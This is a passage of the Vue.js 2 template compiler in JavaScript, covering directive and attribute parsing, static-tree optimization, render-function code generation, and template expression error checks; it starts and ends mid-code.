var l = el.attrsList.length;
if (l) {
var attrs = el.attrs = new Array(l);
for (var i = 0; i < l; i++) {
attrs[i] = {
name: el.attrsList[i].name,
value: JSON.stringify(el.attrsList[i].value)
};
}
} else if (!el.pre) {
// non root node in pre blocks with no attributes
el.plain = true;
}
}
function processKey (el) {
var exp = getBindingAttr(el, 'key');
if (exp) {
if (process.env.NODE_ENV !== 'production' && el.tag === 'template') {
warn$2("<template> cannot be keyed. Place the key on real elements instead.");
}
el.key = exp;
}
}
function processRef (el) {
var ref = getBindingAttr(el, 'ref');
if (ref) {
el.ref = ref;
el.refInFor = checkInFor(el);
}
}
function processFor (el) {
var exp;
if ((exp = getAndRemoveAttr(el, 'v-for'))) {
var inMatch = exp.match(forAliasRE);
if (!inMatch) {
process.env.NODE_ENV !== 'production' && warn$2(
("Invalid v-for expression: " + exp)
);
return
}
el.for = inMatch[2].trim();
var alias = inMatch[1].trim();
var iteratorMatch = alias.match(forIteratorRE);
if (iteratorMatch) {
el.alias = iteratorMatch[1].trim();
el.iterator1 = iteratorMatch[2].trim();
if (iteratorMatch[3]) {
el.iterator2 = iteratorMatch[3].trim();
}
} else {
el.alias = alias;
}
}
}
function processIf (el) {
var exp = getAndRemoveAttr(el, 'v-if');
if (exp) {
el.if = exp;
addIfCondition(el, {
exp: exp,
block: el
});
} else {
if (getAndRemoveAttr(el, 'v-else') != null) {
el.else = true;
}
var elseif = getAndRemoveAttr(el, 'v-else-if');
if (elseif) {
el.elseif = elseif;
}
}
}
function processIfConditions (el, parent) {
var prev = findPrevElement(parent.children);
if (prev && prev.if) {
addIfCondition(prev, {
exp: el.elseif,
block: el
});
} else if (process.env.NODE_ENV !== 'production') {
warn$2(
"v-" + (el.elseif ? ('else-if="' + el.elseif + '"') : 'else') + " " +
"used on element <" + (el.tag) + "> without corresponding v-if."
);
}
}
function findPrevElement (children) {
var i = children.length;
while (i--) {
if (children[i].type === 1) {
return children[i]
} else {
if (process.env.NODE_ENV !== 'production' && children[i].text !== ' ') {
warn$2(
"text \"" + (children[i].text.trim()) + "\" between v-if and v-else(-if) " +
"will be ignored."
);
}
children.pop();
}
}
}
function addIfCondition (el, condition) {
if (!el.ifConditions) {
el.ifConditions = [];
}
el.ifConditions.push(condition);
}
function processOnce (el) {
var once$$1 = getAndRemoveAttr(el, 'v-once');
if (once$$1 != null) {
el.once = true;
}
}
function processSlot (el) {
if (el.tag === 'slot') {
el.slotName = getBindingAttr(el, 'name');
if (process.env.NODE_ENV !== 'production' && el.key) {
warn$2(
"`key` does not work on <slot> because slots are abstract outlets " +
"and can possibly expand into multiple elements. " +
"Use the key on a wrapping element instead."
);
}
} else {
var slotTarget = getBindingAttr(el, 'slot');
if (slotTarget) {
el.slotTarget = slotTarget === '""' ? '"default"' : slotTarget;
}
if (el.tag === 'template') {
el.slotScope = getAndRemoveAttr(el, 'scope');
}
}
}
function processComponent (el) {
var binding;
if ((binding = getBindingAttr(el, 'is'))) {
el.component = binding;
}
if (getAndRemoveAttr(el, 'inline-template') != null) {
el.inlineTemplate = true;
}
}
function processAttrs (el) {
var list = el.attrsList;
var i, l, name, rawName, value, modifiers, isProp;
for (i = 0, l = list.length; i < l; i++) {
name = rawName = list[i].name;
value = list[i].value;
if (dirRE.test(name)) {
// mark element as dynamic
el.hasBindings = true;
// modifiers
modifiers = parseModifiers(name);
if (modifiers) {
name = name.replace(modifierRE, '');
}
if (bindRE.test(name)) { // v-bind
name = name.replace(bindRE, '');
value = parseFilters(value);
isProp = false;
if (modifiers) {
if (modifiers.prop) {
isProp = true;
name = camelize(name);
if (name === 'innerHtml') { name = 'innerHTML'; }
}
if (modifiers.camel) {
name = camelize(name);
}
if (modifiers.sync) {
addHandler(
el,
("update:" + (camelize(name))),
genAssignmentCode(value, "$event")
);
}
}
if (isProp || platformMustUseProp(el.tag, el.attrsMap.type, name)) {
addProp(el, name, value);
} else {
addAttr(el, name, value);
}
} else if (onRE.test(name)) { // v-on
name = name.replace(onRE, '');
addHandler(el, name, value, modifiers, false, warn$2);
} else { // normal directives
name = name.replace(dirRE, '');
// parse arg
var argMatch = name.match(argRE);
var arg = argMatch && argMatch[1];
if (arg) {
name = name.slice(0, -(arg.length + 1));
}
addDirective(el, name, rawName, value, arg, modifiers);
if (process.env.NODE_ENV !== 'production' && name === 'model') {
checkForAliasModel(el, value);
}
}
} else {
// literal attribute
if (process.env.NODE_ENV !== 'production') {
var expression = parseText(value, delimiters);
if (expression) {
warn$2(
name + "=\"" + value + "\": " +
'Interpolation inside attributes has been removed. ' +
'Use v-bind or the colon shorthand instead. For example, ' +
'instead of <div id="{{ val }}">, use <div :id="val">.'
);
}
}
addAttr(el, name, JSON.stringify(value));
}
}
}
function checkInFor (el) {
var parent = el;
while (parent) {
if (parent.for !== undefined) {
return true
}
parent = parent.parent;
}
return false
}
function parseModifiers (name) {
var match = name.match(modifierRE);
if (match) {
var ret = {};
match.forEach(function (m) { ret[m.slice(1)] = true; });
return ret
}
}
function makeAttrsMap (attrs) {
var map = {};
for (var i = 0, l = attrs.length; i < l; i++) {
if (
process.env.NODE_ENV !== 'production' &&
map[attrs[i].name] && !isIE && !isEdge
) {
warn$2('duplicate attribute: ' + attrs[i].name);
}
map[attrs[i].name] = attrs[i].value;
}
return map
}
// for script (e.g. type="x/template") or style, do not decode content
function isTextTag (el) {
return el.tag === 'script' || el.tag === 'style'
}
function isForbiddenTag (el) {
return (
el.tag === 'style' ||
(el.tag === 'script' && (
!el.attrsMap.type ||
el.attrsMap.type === 'text/javascript'
))
)
}
var ieNSBug = /^xmlns:NS\d+/;
var ieNSPrefix = /^NS\d+:/;
/* istanbul ignore next */
function guardIESVGBug (attrs) {
var res = [];
for (var i = 0; i < attrs.length; i++) {
var attr = attrs[i];
if (!ieNSBug.test(attr.name)) {
attr.name = attr.name.replace(ieNSPrefix, '');
res.push(attr);
}
}
return res
}
function checkForAliasModel (el, value) {
var _el = el;
while (_el) {
if (_el.for && _el.alias === value) {
warn$2(
"<" + (el.tag) + " v-model=\"" + value + "\">: " +
"You are binding v-model directly to a v-for iteration alias. " +
"This will not be able to modify the v-for source array because " +
"writing to the alias is like modifying a function local variable. " +
"Consider using an array of objects and use v-model on an object property instead."
);
}
_el = _el.parent;
}
}
/* */
var isStaticKey;
var isPlatformReservedTag;
var genStaticKeysCached = cached(genStaticKeys$1);
/**
* Goal of the optimizer: walk the generated template AST tree
* and detect sub-trees that are purely static, i.e. parts of
* the DOM that never needs to change.
*
* Once we detect these sub-trees, we can:
*
* 1. Hoist them into constants, so that we no longer need to
* create fresh nodes for them on each re-render;
* 2. Completely skip them in the patching process.
*/
function optimize (root, options) {
if (!root) { return }
isStaticKey = genStaticKeysCached(options.staticKeys || '');
isPlatformReservedTag = options.isReservedTag || no;
// first pass: mark all non-static nodes.
markStatic$1(root);
// second pass: mark static roots.
markStaticRoots(root, false);
}
function genStaticKeys$1 (keys) {
return makeMap(
'type,tag,attrsList,attrsMap,plain,parent,children,attrs' +
(keys ? ',' + keys : '')
)
}
function markStatic$1 (node) {
node.static = isStatic(node);
if (node.type === 1) {
// do not make component slot content static. this avoids
// 1. components not able to mutate slot nodes
// 2. static slot content fails for hot-reloading
if (
!isPlatformReservedTag(node.tag) &&
node.tag !== 'slot' &&
node.attrsMap['inline-template'] == null
) {
return
}
for (var i = 0, l = node.children.length; i < l; i++) {
var child = node.children[i];
markStatic$1(child);
if (!child.static) {
node.static = false;
}
}
}
}
function markStaticRoots (node, isInFor) {
if (node.type === 1) {
if (node.static || node.once) {
node.staticInFor = isInFor;
}
// For a node to qualify as a static root, it should have children that
// are not just static text. Otherwise the cost of hoisting out will
// outweigh the benefits and it's better off to just always render it fresh.
if (node.static && node.children.length && !(
node.children.length === 1 &&
node.children[0].type === 3
)) {
node.staticRoot = true;
return
} else {
node.staticRoot = false;
}
if (node.children) {
for (var i = 0, l = node.children.length; i < l; i++) {
markStaticRoots(node.children[i], isInFor || !!node.for);
}
}
if (node.ifConditions) {
walkThroughConditionsBlocks(node.ifConditions, isInFor);
}
}
}
function walkThroughConditionsBlocks (conditionBlocks, isInFor) {
for (var i = 1, len = conditionBlocks.length; i < len; i++) {
markStaticRoots(conditionBlocks[i].block, isInFor);
}
}
function isStatic (node) {
if (node.type === 2) { // expression
return false
}
if (node.type === 3) { // text
return true
}
return !!(node.pre || (
!node.hasBindings && // no dynamic bindings
!node.if && !node.for && // not v-if or v-for or v-else
!isBuiltInTag(node.tag) && // not a built-in
isPlatformReservedTag(node.tag) && // not a component
!isDirectChildOfTemplateFor(node) &&
Object.keys(node).every(isStaticKey)
))
}
function isDirectChildOfTemplateFor (node) {
while (node.parent) {
node = node.parent;
if (node.tag !== 'template') {
return false
}
if (node.for) {
return true
}
}
return false
}
/* */
var fnExpRE = /^\s*([\w$_]+|\([^)]*?\))\s*=>|^function\s*\(/;
var simplePathRE = /^\s*[A-Za-z_$][\w$]*(?:\.[A-Za-z_$][\w$]*|\['.*?']|\[".*?"]|\[\d+]|\[[A-Za-z_$][\w$]*])*\s*$/;
// keyCode aliases
var keyCodes = {
esc: 27,
tab: 9,
enter: 13,
space: 32,
up: 38,
left: 37,
right: 39,
down: 40,
'delete': [8, 46]
};
// #4868: modifiers that prevent the execution of the listener
// need to explicitly return null so that we can determine whether to remove
// the listener for .once
var genGuard = function (condition) { return ("if(" + condition + ")return null;"); };
var modifierCode = {
stop: '$event.stopPropagation();',
prevent: '$event.preventDefault();',
self: genGuard("$event.target !== $event.currentTarget"),
ctrl: genGuard("!$event.ctrlKey"),
shift: genGuard("!$event.shiftKey"),
alt: genGuard("!$event.altKey"),
meta: genGuard("!$event.metaKey"),
left: genGuard("'button' in $event && $event.button !== 0"),
middle: genGuard("'button' in $event && $event.button !== 1"),
right: genGuard("'button' in $event && $event.button !== 2")
};
function genHandlers (
events,
isNative,
warn
) {
var res = isNative ? 'nativeOn:{' : 'on:{';
for (var name in events) {
var handler = events[name];
// #5330: warn click.right, since right clicks do not actually fire click events.
if (process.env.NODE_ENV !== 'production' &&
name === 'click' &&
handler && handler.modifiers && handler.modifiers.right
) {
warn(
"Use \"contextmenu\" instead of \"click.right\" since right clicks " +
"do not actually fire \"click\" events."
);
}
res += "\"" + name + "\":" + (genHandler(name, handler)) + ",";
}
return res.slice(0, -1) + '}'
}
function genHandler (
name,
handler
) {
if (!handler) {
return 'function(){}'
}
if (Array.isArray(handler)) {
return ("[" + (handler.map(function (handler) { return genHandler(name, handler); }).join(',')) + "]")
}
var isMethodPath = simplePathRE.test(handler.value);
var isFunctionExpression = fnExpRE.test(handler.value);
if (!handler.modifiers) {
return isMethodPath || isFunctionExpression
? handler.value
: ("function($event){" + (handler.value) + "}") // inline statement
} else {
var code = '';
var genModifierCode = '';
var keys = [];
for (var key in handler.modifiers) {
if (modifierCode[key]) {
genModifierCode += modifierCode[key];
// left/right
if (keyCodes[key]) {
keys.push(key);
}
} else {
keys.push(key);
}
}
if (keys.length) {
code += genKeyFilter(keys);
}
// Make sure modifiers like prevent and stop get executed after key filtering
if (genModifierCode) {
code += genModifierCode;
}
var handlerCode = isMethodPath
? handler.value + '($event)'
: isFunctionExpression
? ("(" + (handler.value) + ")($event)")
: handler.value;
return ("function($event){" + code + handlerCode + "}")
}
}
function genKeyFilter (keys) {
return ("if(!('button' in $event)&&" + (keys.map(genFilterCode).join('&&')) + ")return null;")
}
function genFilterCode (key) {
var keyVal = parseInt(key, 10);
if (keyVal) {
return ("$event.keyCode!==" + keyVal)
}
var alias = keyCodes[key];
return ("_k($event.keyCode," + (JSON.stringify(key)) + (alias ? ',' + JSON.stringify(alias) : '') + ")")
}
/* */
function bind$1 (el, dir) {
el.wrapData = function (code) {
return ("_b(" + code + ",'" + (el.tag) + "'," + (dir.value) + (dir.modifiers && dir.modifiers.prop ? ',true' : '') + ")")
};
}
/* */
var baseDirectives = {
bind: bind$1,
cloak: noop
};
/* */
// configurable state
var warn$3;
var transforms$1;
var dataGenFns;
var platformDirectives$1;
var isPlatformReservedTag$1;
var staticRenderFns;
var onceCount;
var currentOptions;
function generate (
ast,
options
) {
// save previous staticRenderFns so generate calls can be nested
var prevStaticRenderFns = staticRenderFns;
var currentStaticRenderFns = staticRenderFns = [];
var prevOnceCount = onceCount;
onceCount = 0;
currentOptions = options;
warn$3 = options.warn || baseWarn;
transforms$1 = pluckModuleFunction(options.modules, 'transformCode');
dataGenFns = pluckModuleFunction(options.modules, 'genData');
platformDirectives$1 = options.directives || {};
isPlatformReservedTag$1 = options.isReservedTag || no;
var code = ast ? genElement(ast) : '_c("div")';
staticRenderFns = prevStaticRenderFns;
onceCount = prevOnceCount;
return {
render: ("with(this){return " + code + "}"),
staticRenderFns: currentStaticRenderFns
}
}
function genElement (el) {
if (el.staticRoot && !el.staticProcessed) {
return genStatic(el)
} else if (el.once && !el.onceProcessed) {
return genOnce(el)
} else if (el.for && !el.forProcessed) {
return genFor(el)
} else if (el.if && !el.ifProcessed) {
return genIf(el)
} else if (el.tag === 'template' && !el.slotTarget) {
return genChildren(el) || 'void 0'
} else if (el.tag === 'slot') {
return genSlot(el)
} else {
// component or element
var code;
if (el.component) {
code = genComponent(el.component, el);
} else {
var data = el.plain ? undefined : genData(el);
var children = el.inlineTemplate ? null : genChildren(el, true);
code = "_c('" + (el.tag) + "'" + (data ? ("," + data) : '') + (children ? ("," + children) : '') + ")";
}
// module transforms
for (var i = 0; i < transforms$1.length; i++) {
code = transforms$1[i](el, code);
}
return code
}
}
// hoist static sub-trees out
function genStatic (el) {
el.staticProcessed = true;
staticRenderFns.push(("with(this){return " + (genElement(el)) + "}"));
return ("_m(" + (staticRenderFns.length - 1) + (el.staticInFor ? ',true' : '') + ")")
}
// v-once
function genOnce (el) {
el.onceProcessed = true;
if (el.if && !el.ifProcessed) {
return genIf(el)
} else if (el.staticInFor) {
var key = '';
var parent = el.parent;
while (parent) {
if (parent.for) {
key = parent.key;
break
}
parent = parent.parent;
}
if (!key) {
process.env.NODE_ENV !== 'production' && warn$3(
"v-once can only be used inside v-for that is keyed. "
);
return genElement(el)
}
return ("_o(" + (genElement(el)) + "," + (onceCount++) + (key ? ("," + key) : "") + ")")
} else {
return genStatic(el)
}
}
function genIf (el) {
el.ifProcessed = true; // avoid recursion
return genIfConditions(el.ifConditions.slice())
}
function genIfConditions (conditions) {
if (!conditions.length) {
return '_e()'
}
var condition = conditions.shift();
if (condition.exp) {
return ("(" + (condition.exp) + ")?" + (genTernaryExp(condition.block)) + ":" + (genIfConditions(conditions)))
} else {
return ("" + (genTernaryExp(condition.block)))
}
// v-if with v-once should generate code like (a)?_m(0):_m(1)
function genTernaryExp (el) {
return el.once ? genOnce(el) : genElement(el)
}
}
function genFor (el) {
var exp = el.for;
var alias = el.alias;
var iterator1 = el.iterator1 ? ("," + (el.iterator1)) : '';
var iterator2 = el.iterator2 ? ("," + (el.iterator2)) : '';
if (
process.env.NODE_ENV !== 'production' &&
maybeComponent(el) && el.tag !== 'slot' && el.tag !== 'template' && !el.key
) {
warn$3(
"<" + (el.tag) + " v-for=\"" + alias + " in " + exp + "\">: component lists rendered with " +
"v-for should have explicit keys. " +
"See https://vuejs.org/guide/list.html#key for more info.",
true /* tip */
);
}
el.forProcessed = true; // avoid recursion
return "_l((" + exp + ")," +
"function(" + alias + iterator1 + iterator2 + "){" +
"return " + (genElement(el)) +
'})'
}
function genData (el) {
var data = '{';
// directives first.
// directives may mutate the el's other properties before they are generated.
var dirs = genDirectives(el);
if (dirs) { data += dirs + ','; }
// key
if (el.key) {
data += "key:" + (el.key) + ",";
}
// ref
if (el.ref) {
data += "ref:" + (el.ref) + ",";
}
if (el.refInFor) {
data += "refInFor:true,";
}
// pre
if (el.pre) {
data += "pre:true,";
}
// record original tag name for components using "is" attribute
if (el.component) {
data += "tag:\"" + (el.tag) + "\",";
}
// module data generation functions
for (var i = 0; i < dataGenFns.length; i++) {
data += dataGenFns[i](el);
}
// attributes
if (el.attrs) {
data += "attrs:{" + (genProps(el.attrs)) + "},";
}
// DOM props
if (el.props) {
data += "domProps:{" + (genProps(el.props)) + "},";
}
// event handlers
if (el.events) {
data += (genHandlers(el.events, false, warn$3)) + ",";
}
if (el.nativeEvents) {
data += (genHandlers(el.nativeEvents, true, warn$3)) + ",";
}
// slot target
if (el.slotTarget) {
data += "slot:" + (el.slotTarget) + ",";
}
// scoped slots
if (el.scopedSlots) {
data += (genScopedSlots(el.scopedSlots)) + ",";
}
// component v-model
if (el.model) {
data += "model:{value:" + (el.model.value) + ",callback:" + (el.model.callback) + ",expression:" + (el.model.expression) + "},";
}
// inline-template
if (el.inlineTemplate) {
var inlineTemplate = genInlineTemplate(el);
if (inlineTemplate) {
data += inlineTemplate + ",";
}
}
data = data.replace(/,$/, '') + '}';
// v-bind data wrap
if (el.wrapData) {
data = el.wrapData(data);
}
return data
}
function genDirectives (el) {
var dirs = el.directives;
if (!dirs) { return }
var res = 'directives:[';
var hasRuntime = false;
var i, l, dir, needRuntime;
for (i = 0, l = dirs.length; i < l; i++) {
dir = dirs[i];
needRuntime = true;
var gen = platformDirectives$1[dir.name] || baseDirectives[dir.name];
if (gen) {
// compile-time directive that manipulates AST.
// returns true if it also needs a runtime counterpart.
needRuntime = !!gen(el, dir, warn$3);
}
if (needRuntime) {
hasRuntime = true;
res += "{name:\"" + (dir.name) + "\",rawName:\"" + (dir.rawName) + "\"" + (dir.value ? (",value:(" + (dir.value) + "),expression:" + (JSON.stringify(dir.value))) : '') + (dir.arg ? (",arg:\"" + (dir.arg) + "\"") : '') + (dir.modifiers ? (",modifiers:" + (JSON.stringify(dir.modifiers))) : '') + "},";
}
}
if (hasRuntime) {
return res.slice(0, -1) + ']'
}
}
function genInlineTemplate (el) {
var ast = el.children[0];
if (process.env.NODE_ENV !== 'production' && (
el.children.length > 1 || ast.type !== 1
)) {
warn$3('Inline-template components must have exactly one child element.');
}
if (ast.type === 1) {
var inlineRenderFns = generate(ast, currentOptions);
return ("inlineTemplate:{render:function(){" + (inlineRenderFns.render) + "},staticRenderFns:[" + (inlineRenderFns.staticRenderFns.map(function (code) { return ("function(){" + code + "}"); }).join(',')) + "]}")
}
}
function genScopedSlots (slots) {
return ("scopedSlots:_u([" + (Object.keys(slots).map(function (key) { return genScopedSlot(key, slots[key]); }).join(',')) + "])")
}
function genScopedSlot (key, el) {
if (el.for && !el.forProcessed) {
return genForScopedSlot(key, el)
}
return "{key:" + key + ",fn:function(" + (String(el.attrsMap.scope)) + "){" +
"return " + (el.tag === 'template'
? genChildren(el) || 'void 0'
: genElement(el)) + "}}"
}
function genForScopedSlot (key, el) {
var exp = el.for;
var alias = el.alias;
var iterator1 = el.iterator1 ? ("," + (el.iterator1)) : '';
var iterator2 = el.iterator2 ? ("," + (el.iterator2)) : '';
el.forProcessed = true; // avoid recursion
return "_l((" + exp + ")," +
"function(" + alias + iterator1 + iterator2 + "){" +
"return " + (genScopedSlot(key, el)) +
'})'
}
function genChildren (el, checkSkip) {
var children = el.children;
if (children.length) {
var el$1 = children[0];
// optimize single v-for
if (children.length === 1 &&
el$1.for &&
el$1.tag !== 'template' &&
el$1.tag !== 'slot'
) {
return genElement(el$1)
}
var normalizationType = checkSkip ? getNormalizationType(children) : 0;
return ("[" + (children.map(genNode).join(',')) + "]" + (normalizationType ? ("," + normalizationType) : ''))
}
}
// determine the normalization needed for the children array.
// 0: no normalization needed
// 1: simple normalization needed (possible 1-level deep nested array)
// 2: full normalization needed
function getNormalizationType (children) {
var res = 0;
for (var i = 0; i < children.length; i++) {
var el = children[i];
if (el.type !== 1) {
continue
}
if (needsNormalization(el) ||
(el.ifConditions && el.ifConditions.some(function (c) { return needsNormalization(c.block); }))) {
res = 2;
break
}
if (maybeComponent(el) ||
(el.ifConditions && el.ifConditions.some(function (c) { return maybeComponent(c.block); }))) {
res = 1;
}
}
return res
}
function needsNormalization (el) {
return el.for !== undefined || el.tag === 'template' || el.tag === 'slot'
}
function maybeComponent (el) {
return !isPlatformReservedTag$1(el.tag)
}
function genNode (node) {
if (node.type === 1) {
return genElement(node)
} else {
return genText(node)
}
}
function genText (text) {
return ("_v(" + (text.type === 2
? text.expression // no need for () because already wrapped in _s()
: transformSpecialNewlines(JSON.stringify(text.text))) + ")")
}
function genSlot (el) {
var slotName = el.slotName || '"default"';
var children = genChildren(el);
var res = "_t(" + slotName + (children ? ("," + children) : '');
var attrs = el.attrs && ("{" + (el.attrs.map(function (a) { return ((camelize(a.name)) + ":" + (a.value)); }).join(',')) + "}");
var bind$$1 = el.attrsMap['v-bind'];
if ((attrs || bind$$1) && !children) {
res += ",null";
}
if (attrs) {
res += "," + attrs;
}
if (bind$$1) {
res += (attrs ? '' : ',null') + "," + bind$$1;
}
return res + ')'
}
// componentName is el.component, take it as argument to shun flow's pessimistic refinement
function genComponent (componentName, el) {
var children = el.inlineTemplate ? null : genChildren(el, true);
return ("_c(" + componentName + "," + (genData(el)) + (children ? ("," + children) : '') + ")")
}
function genProps (props) {
var res = '';
for (var i = 0; i < props.length; i++) {
var prop = props[i];
res += "\"" + (prop.name) + "\":" + (transformSpecialNewlines(prop.value)) + ",";
}
return res.slice(0, -1)
}
// #3895, #4268
function transformSpecialNewlines (text) {
return text
.replace(/\u2028/g, '\\u2028')
.replace(/\u2029/g, '\\u2029')
}
/* */
// these keywords should not appear inside expressions, but operators like
// typeof, instanceof and in are allowed
var prohibitedKeywordRE = new RegExp('\\b' + (
'do,if,for,let,new,try,var,case,else,with,await,break,catch,class,const,' +
'super,throw,while,yield,delete,export,import,return,switch,default,' +
'extends,finally,continue,debugger,function,arguments'
).split(',').join('\\b|\\b') + '\\b');
// these unary operators should not be used as property/method names
var unaryOperatorsRE = new RegExp('\\b' + (
'delete,typeof,void'
).split(',').join('\\s*\\([^\\)]*\\)|\\b') + '\\s*\\([^\\)]*\\)');
// check valid identifier for v-for
var identRE = /[A-Za-z_$][\w$]*/;
// strip strings in expressions
var stripStringRE = /'(?:[^'\\]|\\.)*'|"(?:[^"\\]|\\.)*"|`(?:[^`\\]|\\.)*\$\{|\}(?:[^`\\]|\\.)*`|`(?:[^`\\]|\\.)*`/g;
// detect problematic expressions in a template
function detectErrors (ast) {
var errors = [];
if (ast) {
checkNode(ast, errors);
}
return errors
}
function checkNode (node, errors) {
if (node.type === 1) {
for (var name in node.attrsMap) {
if (dirRE.test(name)) {
var value = node.attrsMap[name];
if (value) {
if (name === 'v-for') {
checkFor(node, ("v-for=\"" + value + "\""), errors);
} else if (onRE.test(name)) {
checkEvent(value, (name + "=\"" + value + "\""), errors);
} else {
checkExpression(value, (name + "=\"" + value + "\""), errors);
}
}
}
}
if (node.children) {
for (var i = 0; i < node.children.length; i++) {
checkNode(node.children[i], errors);
}
}
} else if (node.type === 2) {
checkExpression(node.expression, node.text, errors);
}
}
function checkEvent (exp, text, errors) {
var stipped = exp.replace(stripStringRE, '');
var keywordMatch = stipped.match(unaryOperatorsRE);
if (keywordMatch && stipped.charAt(keywordMatch.index - 1) !== '$') {
errors.push(
"avoid using JavaScript unary operator as property name: " +
"\"" + (keywordMatch[0]) + "\" in expression " + (text.trim())
);
}
checkExpression(exp, text, errors);
}
function checkFor (node, text, errors) {
checkExpression(node.for || '', text, errors);
checkIdentifier(node.alias, 'v-for alias', text, errors);
checkIdentifier(node.iterator1, 'v-for iterator', text, errors);
checkIdentifier(node.iterator2, 'v-for iterator', text, errors);
}
function checkIdentifier (ident, type, text, errors) {
if (typeof ident === 'string' && !identRE.test(ident)) {
errors.push(("invalid " + type + " \"" + ident + "\" in expression: " + (text.trim())));
}
}
function checkExpression (exp, text, errors) {
try {
new Function(("return " + exp));
} catch (e) {
var keywordMatch = exp.replace(stripStringRE, '').match(prohibitedKeywordRE);
if (keywordMatch) {
errors.push(
"avoid using JavaScript keyword as property name: " +
"\"" + (keywordMatch[0]) + "\" in expression " + (text.trim())
);
} else {
errors.push(("invalid expression: " + (text.trim())));
}
}
}
/* */
function baseCompile (
template,
options
) {
var ast = parse(template.trim(), options);
optimize(ast, options);
var code = generate(ast, options);
return {
ast: ast,
render: code.render,
staticRenderFns: code.staticRenderFns
}
}
function makeFunction (code, errors) {
try {
return new Function(code)
} catch (err) {
errors.push({ err: err, code: code });
return noop
}
}
function createCompiler (baseOptions) {
var functionCompileCache = Object.create(null);
function compile (
template,
options
) {
var finalOptions = Object.create(baseOptions);
var errors = [];
var tips = [];
finalOptions.warn = function (msg, tip$$1) {
(tip$$1 ? tips : errors).push(msg);
};
if (options) {
// merge custom modules
if (options.modules) {
finalOptions.modules = (baseOptions.modules || []).concat(options.modules);
}
// merge custom directives
if (options.directives) {
finalOptions.directives = extend(
Object.create(baseOptions.directives),
options.directives
);
}
// copy other options
for (var key in options) {
if (key !== 'modules' && key !== 'directives') {
finalOptions[key] = options[key];
}
}
}
var compiled = baseCompile(template, finalOptions);
if (process.env.NODE_ENV !== 'production') {
errors.push.apply(errors, detectErrors(compiled.ast));
}
compiled.errors = errors;
compiled.tips = tips;
return compiled
}
function compileToFunctions (
template,
options,
vm
) {
options = options || {};
/* istanbul ignore if */
if (process.env.NODE_ENV !== 'production') {
// detect possible CSP restriction
try {
new Function('return 1');
} catch (e) {
if (e.toString().match(/unsafe-eval|CSP/)) {
warn(
'It seems you are using the standalone build of Vue.js in an ' +
'environment with Content Security Policy that prohibits unsafe-eval. ' +
'The template compiler cannot work in this environment. Consider ' +
'relaxing the policy to allow unsafe-eval or pre-compiling your ' +
'templates into render functions.'
);
}
}
}
// check cache
var key = options.delimiters
? String(options.delimiters) + template
: template;
if (functionCompileCache[key]) {
return functionCompileCache[key]
}
// compile
var compiled = compile(template, options);
// check compilation errors/tips
if (process.env.NODE_ENV !== 'production') {
if (compiled.errors && compiled.errors.length) {
warn(
"Error compiling template:\n\n" + template + "\n\n" +
compiled.errors.map(function (e) { return ("- " + e); }).join('\n') + '\n',
vm
);
}
if (compiled.tips && compiled.tips.length) {
compiled.tips.forEach(function (msg) { return tip(msg, vm); });
}
}
// turn code into functions
var res = {};
var fnGenErrors = [];
res.render = makeFunction(compiled.render, fnGenErrors);
var l = compiled.staticRenderFns.length;
res.staticRenderFns = new Array(l);
for (var i = 0; i < l; i++) {
res.staticRenderFns[i] = makeFunction(compiled.staticRenderFns[i], fnGenErrors);
}
// check function generation errors.
// this should only happen if there is a bug in the compiler itself.
// mostly for codegen development use
/* istanbul ignore if */
if (process.env.NODE_ENV !== 'production') {
if ((!compiled.errors || !compiled.errors.length) && fnGenErrors.length) {
warn(
"Failed to generate render function:\n\n" +
fnGenErrors.map(function (ref) {
var err = ref.err;
var code = ref.code;
return ((err.toString()) + " in\n\n" + code + "\n");
}).join('\n'),
vm
);
}
}
return (functionCompileCache[key] = res)
}
return {
compile: compile,
compileToFunctions: compileToFunctions
}
}
/* */
function transformNode (el, options) {
var warn = options.warn || baseWarn;
var staticClass = getAndRemoveAttr(el, 'class');
if (process.env.NODE_ENV !== 'production' && staticClass) {
var expression = parseText(staticClass, options.delimiters);
if (expression) {
warn(
"class=\"" + staticClass + "\": " +
'Interpolation inside attributes has been removed. ' +
'Use v-bind or the colon shorthand instead. For example, ' +
'instead of <div class="{{ val }}">, use <div :class="val">.'
);
}
}
if (staticClass) {
el.staticClass = JSON.stringify(staticClass);
}
var classBinding = getBindingAttr(el, 'class', false /* getStatic */);
if (classBinding) {
el.classBinding = classBinding;
}
}
function genData$1 (el) {
var data = '';
if (el.staticClass) {
data += "staticClass:" + (el.staticClass) + ",";
}
if (el.classBinding) {
data += "class:" + (el.classBinding) + ",";
}
return data
}
var klass$1 = {
staticKeys: ['staticClass'],
transformNode: transformNode,
genData: genData$1
};
/* */
function transformNode$1 (el, options) {
var warn = options.warn || baseWarn;
var staticStyle = getAndRemoveAttr(el, 'style');
if (staticStyle) {
/* istanbul ignore if */
if (process.env.NODE_ENV !== 'production') {
var expression = parseText(staticStyle, options.delimiters);
if (expression) {
warn(
"style=\"" + staticStyle + "\": " +
'Interpolation inside attributes has been removed. ' +
'Use v-bind or the colon shorthand instead. For example, ' +
'instead of <div style="{{ val }}">, use <div :style="val">.'
);
}
}
el.staticStyle = JSON.stringify(parseStyleText(staticStyle));
}
var styleBinding = getBindingAttr(el, 'style', false /* getStatic */);
if (styleBinding) {
el.styleBinding = styleBinding;
}
}
function genData$2 (el) {
var data = '';
if (el.staticStyle) {
data += "staticStyle:" + (el.staticStyle) + ",";
}
if (el.styleBinding) {
data += "style:(" + (el.styleBinding) + "),";
}
return data
}
var style$1 = {
staticKeys: ['staticStyle'],
transformNode: transformNode$1,
genData: genData$2
};
var modules$1 = [
klass$1,
style$1
];
/* */
function text (el, dir) {
if (dir.value) {
addProp(el, 'textContent', ("_s(" + (dir.value) + ")"));
}
}
/* */
function html (el, dir) {
if (dir.value) {
addProp(el, 'innerHTML', ("_s(" + (dir.value) + ")"));
}
}
var directives$1 = {
model: model,
text: text,
html: html
};
/* */
var baseOptions = {
expectHTML: true,
modules: modules$1,
directives: directives$1,
isPreTag: isPreTag,
isUnaryTag: isUnaryTag,
mustUseProp: mustUseProp,
canBeLeftOpenTag: canBeLeftOpenTag,
isReservedTag: isReservedTag,
getTagNamespace: getTagNamespace,
staticKeys: genStaticKeys(modules$1)
};
var ref$1 = createCompiler(baseOptions);
var compileToFunctions = ref$1.compileToFunctions;
/* */
var idToTemplate = cached(function (id) {
var el = query(id);
return el && el.innerHTML
});
var mount = Vue$3.prototype.$mount;
Vue$3.prototype.$mount = function (
el,
hydrating
) {
el = el && query(el);
/* istanbul ignore if */
if (el === document.body || el === document.documentElement) {
process.env.NODE_ENV !== 'production' && warn(
"Do not mount Vue to <html> or <body> - mount to normal elements instead."
);
return this
}
var options = this.$options;
